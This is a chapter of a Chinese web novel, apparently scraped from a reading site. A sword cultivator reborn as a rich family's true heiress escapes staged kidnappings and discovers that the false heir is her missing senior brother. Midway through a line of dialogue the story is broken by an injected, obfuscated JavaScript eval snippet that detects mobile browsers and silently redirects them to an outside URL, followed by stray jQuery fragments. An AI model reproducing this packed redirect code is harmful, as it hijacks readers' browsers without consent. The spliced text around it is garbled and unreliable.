蒙着的头套被粗鲁地扯掉,骤然亮起的灯光刺得盛礼眼睛生疼。
身上的绳子勒得很紧,她像一个粽子一样被五花大绑在一张破烂不堪的椅子上。
盛礼了然,她又被绑架了。
自从她穿成豪门世家刚刚找回家的真千金后,已经是第四次被绑了。
“哎!你眼睛乱看什么!”男人带着骇人的野兽面具,一把撕掉盛礼嘴上的胶带,大马金刀的往她身边一坐,身形如同一座山。
此山扯着粗犷的声音道:“你和盛淮雪都在我们手上,你猜盛家会先救谁?”
盛淮雪是被世家找错了的假千金,虽然穿来这半个月,盛礼都未曾见过盛淮雪一面,但这位假千金姿容绝世、菩萨心肠、人见人爱的美好品质,每个人都要跟盛礼描述一遍。在她日月之辉的对比下,盛礼渺小的好像一只残疾萤火虫。
山一般的男人猛地踹了下椅子,不满道:“问你话呢!哑巴了?”
盛礼回答:“先救我。”
男人嗤笑一声,不屑道:“你怎么那么大脸啊?你认为你配吗?”
盛礼又回答:“那就先救盛淮雪。”
“盛淮雪的灵力等级可是S级!那可是天生的强者!还用得着让别人去救他?”
盛礼:“……”
到底要让她怎样啊!
“我就是要让你知道,”男人掏出一把一米多的机械枪,重重地砸在盛礼身侧:“就算你才是盛家真正的嫡系成员,也比不上盛淮雪的一根头发,你永远别妄想取代盛淮雪在盛家的地位!”
手机滴滴两声,男人点开消息后冷笑了下,对着盛礼讥讽道:“盛家来消息了,让先把盛淮雪放了。”
“我就知道,没有人会选择你这个恶毒的废物!”男人关掉手机,拎起长枪架在肩膀上,黑漆漆的枪口对着盛礼的脑袋:“废物小姐,你的死期到了。”
砰!
就在男人扣动扳机的瞬间,少女骤然暴起一脚踹偏长枪,动作流畅如同一只敏捷有力的猎豹。
子弹打在门上发出巨大的响声,男人愕然回头,少女已抢先一步劈在他肩颈上。
彻底昏死过去前,男人听见了少女平淡的声音。
“我选我自己。”
*
处理好绑匪后,盛礼没有在原地等待盛家来救,几脚把门踹开跑了出去。
真假千金二选一的游戏盛礼已经不想玩了。身为一个剑修,她有更重要的事情去做。
几天前,魔教入侵,宗门内乱,大师兄下落不明,整个青云剑宗岌岌可危。
盛礼在寻找大师兄的途中一时疏忽,被一个蒙面人一剑穿心又割喉,死在了从小生活的剑宗里。
再次醒来,她就来到了现代社会,成了九大灵官家族之一盛家刚刚找回来的废柴真千金。
所谓灵官,是指觉醒了五行灵力的人,他们的存在,就是为了制裁闯入人类社会的妖鬼魔怪,维护现代社会的稳定和平。
盛礼认为,一定是剑宗的人使用了什么秘法禁术,才能让她在别人的壳子里重生,不然她这个行侠仗义的剑修怎么就那么巧重生在降妖伏魔的灵官世家?
但这些都不重要,现下最要紧的,是和剑宗取得联系,确定大师兄的安危。
盛礼这次被绑到了一栋七十多层废弃的大楼,连着跑了十几层后,她忍不住停下来扶膝轻喘。
她如今的这具身体实在是不怎么样,跑几步就喘,打两下就疼,若是现在再出现一个绑匪,盛礼绝对没力气再次迎战。
正这么想着,盛礼直起身子擦了擦额头的汗。忽感身侧有风拂过,再一回头,一根木棍猛地砸中了她的脑袋!
我去他二大爷的!
昏迷前,盛礼忍不住在心中暗骂一声。
豪门套路深,她要回农村啊!!!
*
“你他妈老实点!再动我弄死你!”
盛礼被一阵叫骂声吵醒,然后发现自己身处废弃大楼中,被五花大绑在一张破椅子上。
盛礼:“……”
一顿操作猛如虎,最后还在原地杵。
只不过这回与刚刚也略有不同。
盛礼侧眸看向一旁同样被五花大绑、蒙头罩身的受害者,这次的人质有两名。
一旁的几个绑匪个个凶神恶煞,面露贪婪的打量两人:“老大,这盛淮雪和盛礼都在我们手上,你说我们这次是不是发财了?”
盛礼心中一动,旁边被绑着的人就是那个大名鼎鼎的假千金盛淮雪?看身形,好像比她要高出不少。
“你懂什么!”绑匪老大不屑地推开小弟,拎着把菜刀走到盛淮雪身边,把菜刀横在他肩上:“老子已经给盛家传了消息,让他们在你和盛礼之间保一个,你说盛家会保你还是保她?”
盛礼:“……”
这场景和台词怎么都该死的熟悉。
盛淮雪沉默片刻,平静道:“保她。”
盛礼长眉一挑,有些诧异。
竟是个男人的声音。
音色清润,语气温雅,好听中还夹杂着一点熟悉的感觉。
盛礼的大脑混乱了几秒,所以假千金是个男的,真千金是个女的,豪门不仅弄错了孩子,还弄错了孩子的性别??
这到底是怎样的一个家庭啊!
“这还用你说?”只听那绑匪老大冷笑几声,刀身在盛淮雪身上抹了抹:“就算你是S级灵官又怎样?中了灵力抑制剂还不是变成了一个手无缚鸡之力的废物!你就算再厉害,也只是盛家的一个赝品,老子最讨厌假货了!”
一旁的绑匪小弟用仪器观察着附近的情况,看到有新消息弹出,忙汇报道:“老大!盛家来消息说保盛淮雪!”
“妈的!还真他妈有人喜欢假货!”
绑匪老大啐了一口,怒道:“老子偏要弄死他!”
男人扬起菜刀冲盛淮雪砍去,刀风将他的头套吹起一个角,露出青年白皙分明的下颌线。
就在刀刃即将触碰到青年的刹那,绑匪老大“哎呦”一声,右手不知道被什么东西击中,疼得他连菜刀都甩了出去。
菜刀在空中飞出半米远的距离,被一只修长有力的手稳稳接住,当周围的绑匪们反应过来时,菜刀已经横在了绑匪老大的脖子上。
“你!你怎么过来的?!”绑匪老大看着身侧比自己矮了一个头,却牢牢按住自己命门的盛礼,嘴巴大的能吃掉一头牛:“盛家保他弃你,你居然还要救他?!”
盛礼面带歉意:“不好意思,这可能就是传
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486328|202028||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
说中的职业病犯了。”
身为一个四处行侠仗义打抱不平的正义剑修,她对这种事情实在无法做到坐视不理。
“都别动!”盛礼一手捏着男人后颈,一手将菜刀贴到他脖子上,警惕看着一旁蠢蠢欲动的绑匪小弟们,冷声道:“赶紧把我们放了,不然我砍了他的脑袋!”
周围的小弟们面面相觑,你看看我我看看你,还是没有动作。
盛礼提高音量:“都聋了吗!”
“我插一句嘴。”被捏着的绑匪老大轻咳一声,低声道:“你怎么不按剧本来啊?你整这种词我们怎么接啊?”
“?”
盛礼满脸问号:“什么剧本?”
“我们不是说好了吗!”绑匪老大有点儿急眼:“你找我们绑架你和盛淮雪,让盛家二选一,要是盛家选了你,就杀了盛淮雪,要是盛家选了盛淮雪,更要杀了他!我们一个月前不就商量好了吗!”
“……”
一个月前这具壳子里的灵魂还不是盛礼。
闹了半天这一切都是原主的自导自演。
沉默,还是沉默。
在绑匪老大近乎嘶吼着喊出原主的计划后,绑架现场弥漫开一种尴尬又诡异的沉默。
盛礼瞄了眼盛淮雪的反应,青年的脊背依然直挺,即便是被破布蒙着头罩着身子,也难掩挺拔修长的身型。
“咳……”盛礼清了清嗓子,事到如今,她感觉自己应该说点什么。
砰!!
盛礼还没组织好语言,锁着的楼层大门被一股大力猛然撞开,数名衣着考究的高大男人鱼贯而入。
“盛礼!果然是你在搞鬼!”为首的青年身型高挑,穿着一件淡粉色丝绸衬衫,长发如墨披在身后,细碎的额发下生着一双极美的桃花眸。
是原主的二哥,盛家少主盛珏。
训练有素的盛家暗卫不消片刻就制服了在场的所有绑匪。
“你真以为靠几个混混就能威胁盛家?若不是我故意拖延时间,怎么能把你的阴谋当场戳破!”盛珏漂亮的眼睛怒视着盛礼:“淮雪对你处处忍让,给足了你尊重和面子,你不心存感激就算了,居然还怀恨在心妄想置他于死地,你也配做我们盛家人?!”
面对盛珏义愤填膺的指责,盛礼内心毫无波澜,甚至还有一丝丝同情。
人生一大悲哀,莫过于哭错坟,骂错人。
“来人!把这个恶毒的女人给我绑起来!如果淮雪受了一点伤,就让她陪葬!”
夭寿了。盛礼真想无奈扶额,真假千金里居然夹杂着点陪葬文学。
盛珏一声令下,几名暗卫应声而动,比盛礼更先反应过来的是她捏着的绑匪老大。
“妈的!盛小姐你放心,老子既然收了你的钱,就一定帮你把事办了!”
仗义的话说完,绑匪老大忽略盛礼惊诧又疑惑的目光,一把挣开盛礼钳制,猛地冲了出去。
盛礼的视线随着绑匪老大的爆冲路线,落到刚被松绑摘掉头套的盛淮雪身上,在对上那人的眼睛时,盛礼如遭雷击,狠狠一怔!
大师兄?!
“妈的!老子最讨厌假货了!”绑匪老大嘶吼着冲向盛淮雪,使出浑身牛劲用力一推,将他从几十层的高楼窗户上推了下去。